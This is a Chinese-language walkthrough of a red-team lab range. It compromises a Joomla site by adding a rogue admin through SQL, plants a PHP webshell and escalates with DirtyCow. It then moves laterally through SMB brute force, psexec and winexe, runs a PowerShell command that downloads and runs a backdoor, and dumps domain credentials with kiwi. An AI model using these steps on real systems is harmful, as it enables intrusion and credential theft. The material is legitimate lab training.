ATT&CK红队实战靶场03
基本信息
本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录
已知出网主机为centos主机
将centos出网网卡和kali攻击机网卡都设置为桥接复制物理网络模式
其它网卡都默认vmnet2模式,添加vmnet2网卡
开启centos后需要重新获取一次ip eth0网卡为我们复制的物理网络
1 | dhclient -r |
拓扑图
ip有出入
外网打点
信息收集
nmap确定目标ip
进一步扫描端口
目标为ubuntu16.04.1
22端口存在ssh,可以爆破
80端口web服务
3306端口mysql数据库,可以爆破
web打点
访问网站,用插件得到cms信息 nginx+php+joomla
使用joomscan工具扫描,没有漏洞但是知道了版本为3.9.12
1 | joomscan -u http://192.168.31.54 |
扫出了后台和一个配置文件
得到mysql密码和绝对路径
连接数据库
拿到密码密文,解不出来
查阅官方文档发现可以添加一个管理员账号 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
1 | INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Administrator2', 'admin123', '433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8'); |
执行sql语句添加账号密码admin123/admin
登录后台后添加.php后缀白名单
在在Extensions -> Templates -> Templates可以编辑模板文件
创建一个新的php文件用来写马
使用蚁剑连接需要注意关闭蚁剑的代理
无法执行命令
发现disbale_funcions禁用了函数
通过蚁剑插件去绕过
查看ip,发现不对劲,我们访问的ip明明是192.168.31.54,怎么这里是192.168.93.120,应该是使用了nginx反向代理
上线到msf上做一个内网扫描,使用传统的生产后门再上传太麻烦了,这里使用msf本地起一个后门
1 | use exploit/multi/script/web_delivery |
设置目标为linux
然后将生成的命令复制到shell中执行
但是没反弹成功,一开始我觉得是没有执行权限,于是到/tmp目录下去执行,还是没有反弹成功,应该跟反向代理有关。我们访问的流量是从centos转发给ubuntu,而且我们不能直接访问ubuntu,不在一个网段,我们的流量是通过centos转发的,拿到的shell是ubuntu的
但是执行反弹msf的时候去通过去下载kali上的后门执行,而ubuntu和kali不在一个网段所以没法访问,如果是外网,kali和ubuntu都在外网且ubuntu出网的话是可以反弹的,但是这里是内网自己搭建的环境
所以这台ubuntu的机器,提不提权已经无所谓了,根据我们拿到的信息,我们要拿到centos的shell才能继续下一步。
继续往下,也没有找到关键信息,找了一下其他师傅的文章,说是存在/tmp/mysql/test.txt,但我这里却没有,我上靶机看确实也没有,不太懂为什么,借用一张其他师傅的图
wwwuser/wwwuser_123Aqx
ssh连接centos的时候报错
之所以报错是因为OpenSSH 7.0以后的版本不再支持ssh-dss (DSA)算法,解决方法是增加选项-oHostKeyAlgorithms=+ssh-dss,即可成功解决
1 | ssh -oHostKeyAlgorithms=+ssh-dss wwwuser@192.168.31.54 |
成功连接
使用上面反弹msf的方法,将shell上线到msf
在tmp目录下执行
msf收到会话
提权
linux 提权三板斧 内核、sudo -l、root权限命令
尝试了sudo -l和root权限都无果,msf也提不动,查看内核版本符合脏牛,尝试内核提权
把提权文件传上去编译
1 | gcc -pthread dirty.c -o dirty -lcrypt |
切换用户
在使用此用户运行刚刚上线msf的payload,或者直接运行tmp目录下的后门,获得一个root权限的会话
内网渗透
代理
查看ip发现有两个网段
添加路由,将msf代理进内网,再起一个反向代理方便使用别的工具
proxychains添加一个代理
1 | vim /etc/proxychains4.conf |
用nmap扫描存活主机和端口,要注意的是prxychains代理不了icmp流量,所以不能使用ping,只能用tcp去扫描
也可以用msf自带的模块去扫描
1 | # 扫描存活主机 |
扫出三台存活主机
1 | 扫描端口 |
nmap扫描的精确一点
三台主机都为windows,10开启了53端口,推测为域控,20开启了1433 mssql,30和其余两台都存在smb服务,尝试永恒之蓝都不存在
换个方法,尝试爆破smb用户,将上面获取到的两个密码放入密码文件进行爆破
最后爆破出30、20的密码
使用msf自带模块来攻击,要注意的是这里使用正向连接payload,因为我们使用加了代理
1 | use exploit/windows/smb/psexec |
得到一个system权限的会话
通过winexe得到20的会话
1 | proxychains winexe -U 'administrator%123qwe!ASD' //192.168.93.20 cmd.exe |
他上线到msf,生成一个shell,因为目标主机不出网,所以把shell上传到centos主机上,再由centos主机用python起一个web服务,20主机使用powershell去下载
注意不要和web服务端口起冲突,使用8899端口
开启远程桌面
1 | #设置远程桌面端口 |
使用administrator登录
1 | powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.128:8899/shell1.exe','C:\shell.exe') |
下载后门
kali起一个监听,注意这里要使用正向监听,因为目标主机是不出网的,运行后门成功反弹会话
迁移进程到一个系统进程后,使用kiwi抓取密码,抓到域控密码
使用同样的方法拿到cmd
1 | proxychains winexe -U 'administrator%zxcASDqw123!!' //192.168.93.10 cmd.exe |
一样的方法上线msf,只需要修改正向监听的ip即可